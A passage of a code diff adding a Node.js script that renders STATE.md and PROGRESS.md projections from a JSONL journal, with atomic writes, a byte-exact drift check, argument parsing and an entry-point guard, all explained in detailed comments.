+ .join(''),
700
+ );
701
+
702
+ parts.push('\n## Milestones\n\n');
703
+ const shown = state.milestones.slice(-MAX_MILESTONES);
704
+ const omitted = state.milestones.length - shown.length;
705
+ if (omitted > 0) parts.push(`_${omitted} earlier milestone(s) omitted — the journal keeps them all._\n\n`);
706
+ parts.push(
707
+ table(
708
+ ['When', 'Event', 'Summary'],
709
+ shown.map((m) => [inline(m.ts), `\`${inline(m.ev)}\``, milestoneSummary(m)]),
710
+ ),
711
+ );
712
+ return parts.join('');
713
+ }
714
+
715
+ /**
716
+ * Render both projections from a journal read result.
717
+ * Returns `{ files: { name: content }, state, warnings }`.
718
+ */
719
+ export function renderProjections(readResult) {
720
+ const state = fold(readResult);
721
+ return {
722
+ state,
723
+ warnings: warnings(state),
724
+ files: { [STATE_FILE]: renderState(state), [PROGRESS_FILE]: renderProgress(state) },
725
+ };
726
+ }
727
+
728
+ /** Read a journal file and render both projections. */
729
+ export function projectFile(file) {
730
+ if (!existsSync(file)) {
731
+ throw new IOError(`journal not found: ${resolve(file)}`);
732
+ }
733
+ if (statSync(file).isDirectory()) {
734
+ throw new IOError(`journal path is a directory, not a file: ${resolve(file)}`);
735
+ }
736
+ return renderProjections(readJournal(file));
737
+ }
738
+
739
+ // ------------------------------------------------------------------ I/O
740
+
741
+ let tmpCounter = 0;
742
+
743
+ /** Atomic write: a concurrent reader sees the old or the new file, never half. */
744
+ export function writeAtomic(path, content) {
745
+ const tmp = tempPathFor(path);
746
+ try {
747
+ writeFileSync(tmp, content, 'utf8');
748
+ renameSync(tmp, path);
749
+ } catch (err) {
750
+ cleanUp(tmp);
751
+ throw err;
752
+ }
753
+ }
754
+
755
+ function tempPathFor(path) {
756
+ return join(dirname(path), `.${Date.now().toString(36)}-${process.pid}-${tmpCounter++}.tmp`);
757
+ }
758
+
759
+ function cleanUp(tmp) {
760
+ try {
761
+ unlinkSync(tmp);
762
+ } catch {
763
+ /* nothing to clean up */
764
+ }
765
+ }
766
+
767
+ /**
768
+ * Write a set of files as close to atomically as a filesystem allows: stage
769
+ * EVERY temp file first, then rename them all. A failure while staging (full
770
+ * disk, no permission) therefore leaves the previous projections completely
771
+ * untouched, instead of swapping STATE.md and then failing on PROGRESS.md.
772
+ *
773
+ * The pair is still not one transaction — the window shrinks to the gap
774
+ * between two renames rather than spanning a whole document write.
775
+ */
776
+ export function writeAllAtomic(entries) {
777
+ const staged = [];
778
+ try {
779
+ for (const [path, content] of entries) {
780
+ const tmp = tempPathFor(path);
781
+ writeFileSync(tmp, content, 'utf8');
782
+ staged.push([tmp, path]);
783
+ }
784
+ } catch (err) {
785
+ for (const [tmp] of staged) cleanUp(tmp);
786
+ throw err;
787
+ }
788
+ for (let i = 0; i < staged.length; i++) {
789
+ try {
790
+ renameSync(staged[i][0], staged[i][1]);
791
+ } catch (err) {
792
+ // A rename failing part-way leaves earlier files already swapped — that
793
+ // window is documented. What must NOT happen is temp files piling up as
794
+ // hidden dotfiles in .tyran/state/<init>/, invisible to --check.
795
+ for (const [tmp] of staged.slice(i)) cleanUp(tmp);
796
+ throw err;
797
+ }
798
+ }
799
+ }
800
+
801
+ /**
802
+ * Byte-exact comparison against what is on disk. Deliberately NOT normalized:
803
+ * whitespace, CRLF, BOM and a missing trailing newline are all drift, because
804
+ * a hand-edited projection is exactly what `--check` exists to catch.
805
+ */
806
+ export function checkFile(path, expected) {
807
+ if (!existsSync(path)) return { path, ok: false, reason: 'missing on disk' };
808
+ const actual = readFileSync(path);
809
+ const want = Buffer.from(expected, 'utf8');
810
+ if (actual.equals(want)) return { path, ok: true };
811
+ const a = actual.toString('utf8').split('\n');
812
+ const b = expected.split('\n');
813
+ let first = null;
814
+ let differing = 0;
815
+ for (let i = 0; i < Math.max(a.length, b.length); i++) {
816
+ if (a[i] !== b[i]) {
817
+ differing++;
818
+ if (first === null) first = i + 1;
819
+ }
820
+ }
821
+ const sizes = `(on disk: ${actual.length} B, expected: ${want.length} B)`;
822
+ return {
823
+ path,
824
+ ok: false,
825
+ reason:
826
+ differing === 0
827
+ ? `same text, different bytes — encoding or BOM ${sizes}`
828
+ : `${differing} of ${b.length} line(s) differ, first at line ${first} ${sizes}`,
829
+ };
830
+ }
831
+
832
+ // ------------------------------------------------------------------- CLI
833
+
834
+ class UsageError extends Error {}
835
+ class IOError extends Error {}
836
+
837
+ const BOOLEAN_FLAGS = ['check'];
838
+ const VALUE_FLAGS = ['out-dir'];
839
+
840
+ export function parseArgs(argv) {
841
+ const flags = {};
842
+ const rest = [];
843
+ for (let i = 0; i < argv.length; i++) {
844
+ const arg = argv[i];
845
+ if (arg.startsWith('--')) {
846
+ const name = arg.slice(2);
847
+ // A repeated flag silently overriding itself is how a projection ends
848
+ // up in the wrong directory — refuse instead of guessing.
849
+ if (name in flags) throw new Error(`flag --${name} was given twice`);
850
+ if (BOOLEAN_FLAGS.includes(name)) {
851
+ flags[name] = true;
852
+ } else if (VALUE_FLAGS.includes(name)) {
853
+ const value = argv[++i];
854
+ if (value === undefined || value.startsWith('--')) throw new Error(`flag --${name} requires a value`);
855
+ flags[name] = value;
856
+ } else {
857
+ throw new Error(`unknown flag --${name}`);
858
+ }
859
+ } else rest.push(arg);
860
+ }
861
+ if (rest.length === 0) throw new UsageError();
862
+ if (rest.length > 1) throw new Error(`unexpected extra argument "${rest[1]}"`);
863
+ return { journal: rest[0], outDir: flags['out-dir'], check: flags.check === true };
864
+ }
865
+
866
+ function main() {
867
+ try {
868
+ const { journal, outDir, check } = parseArgs(process.argv.slice(2));
869
+ const dir = outDir ?? dirname(resolve(journal));
870
+ const { files, state, warnings: warn } = projectFile(journal);
871
+ for (const w of warn) console.error(`project: warning: ${w}`);
872
+
873
+ // Zero signal, pure noise: not one event parsed, yet the file had content
874
+ // we could not read. That is a wrong path or a non-journal file, and
875
+ // overwriting a good STATE.md with an empty one would hand the operator a
876
+ // false picture of the initiative under a success exit code.
877
+ //
878
+ // `truncatedTail` counts as damage too: readJournal classifies a final
879
+ // line without a trailing newline as truncated rather than corrupt, so a
880
+ // one-line file (minified JSON, a token, a single log line) would
881
+ // otherwise walk straight through this gate. A journal whose very first
882
+ // append died mid-write lands here as well, and that is the intended
883
+ // reading: zero readable events plus any trace of damage means we do not
884
+ // project.
885
+ //
886
+ // An EMPTY journal (no events, no damage at all) stays perfectly legal
887
+ // and projects to empty documents; partial damage with >= 1 readable
888
+ // event still only warns.
889
+ if (state.total === 0 && (state.corruptLines + state.malformed > 0 || state.truncatedTail)) {
890
+ // Only report damage that actually occurred: "0 corrupt line(s),
891
+ // 0 non-object line(s)" next to a refusal reads like a contradiction.
892
+ const damage = [
893
+ state.corruptLines > 0 ? `${state.corruptLines} corrupt line(s)` : null,
894
+ state.malformed > 0 ? `${state.malformed} non-object line(s)` : null,
895
+ state.truncatedTail ? 'a truncated final line' : null,
896
+ ].filter(Boolean);
897
+ throw new IOError(
898
+ `this does not look like a journal: 0 readable events, ` +
899
+ `${damage.join(', ')} — refusing to overwrite projections in ${dir}`,
900
+ );
901
+ }
902
+
903
+ if (check) {
904
+ const results = Object.entries(files).map(([name, content]) => checkFile(join(dir, name), content));
905
+ const drifted = results.filter((r) => !r.ok);
906
+ if (drifted.length === 0) {
907
+ console.log(`projections up to date (${results.length} files in ${dir})`);
908
+ return;
909
+ }
910
+ for (const r of drifted) console.error(`project: drift: ${r.path} — ${r.reason}`);
911
+ console.error(`project: regenerate with: node scripts/project.mjs ${journal} --out-dir ${dir}`);
912
+ process.exit(1);
913
+ }
914
+
915
+ mkdirSync(dir, { recursive: true });
916
+ writeAllAtomic(Object.entries(files).map(([name, content]) => [join(dir, name), content]));
917
+ for (const [name, content] of Object.entries(files)) {
918
+ const path = join(dir, name);
919
+ console.log(`wrote ${path} (${Buffer.byteLength(content, 'utf8')} B)`);
920
+ }
921
+ } catch (err) {
922
+ if (err instanceof UsageError) {
923
+ console.error('usage: project.mjs <journal.jsonl> [--out-dir <dir>] [--check]');
924
+ process.exit(2);
925
+ }
926
+ console.error(`project: ${err.message}`);
927
+ // An unexpected internal failure must not masquerade as a usage error:
928
+ // print the stack so the bug is reportable, then still fail loudly.
929
+ if (!(err instanceof IOError) && !(err instanceof Error && err.constructor === Error)) {
930
+ console.error(err.stack);
931
+ }
932
+ process.exit(2);
933
+ }
934
+ }
935
+
936
+ /**
937
+ * Canonical absolute path, falling back to the merely-resolved one when the
938
+ * path cannot be canonicalized.
939
+ *
940
+ * The fallback is load-bearing, and NOT for `node --eval`: there argv[1] is
941
+ * undefined and the caller returns before ever reaching this. It is for the
942
+ * cases where argv[1] names something realpath cannot follow — the script
943
+ * directory was renamed or deleted after launch, a parent component is an
944
+ * unreadable directory (EACCES), or a launcher/shim rewrote argv[1] to a
945
+ * logical name that was never a real file. Without the fallback the guard
946
+ * throws ENOENT out of module scope and the tool dies at startup, which is a
947
+ * different bug, not a fix.
948
+ */
949
+ function canonicalPath(path) {
950
+ const abs = resolve(path);
951
+ try {
952
+ return realpathSync(abs);
953
+ } catch {
954
+ return abs;
955
+ }
956
+ }
957
+
958
+ /**
959
+ * True when this module is the program's entry point.
960
+ *
961
+ * BOTH sides must be canonicalized. `import.meta.url` already names the real
962
+ * file — Node resolves module specifiers through symlinks — while
963
+ * `process.argv[1]` is whatever the caller typed. Comparing them raw turned
964
+ * every invocation through a symlinked path into a SILENT no-op under exit 0:
965
+ * `main()` never ran, no projection was written, nothing said so. That is not
966
+ * theoretical — `/tmp` and `/var` are symlinks on macOS, and plugin installs
967
+ * routinely reach `scripts/` through one.
968
+ *
969
+ * Deliberately duplicated in journal.mjs rather than shared: this is boot
970
+ * boilerplate, not a domain rule. ADR-18 is about one RULE having one
971
+ * implementation (see pairSpawns), which this is not — and the difference is
972
+ * visible in what DID get shared: the invisibility rule moved to
973
+ * scripts/invisible.mjs because three copies of it had drifted apart, while
974
+ * these eight lines have no semantics to drift.
975
+ */
976
+ function isMainModule(moduleUrl) {
977
+ if (!process.argv[1]) return false;
978
+ return canonicalPath(process.argv[1]) === canonicalPath(fileURLToPath(moduleUrl));
979
+ }
980
+
981
+ if (isMainModule(import.meta.url)) main();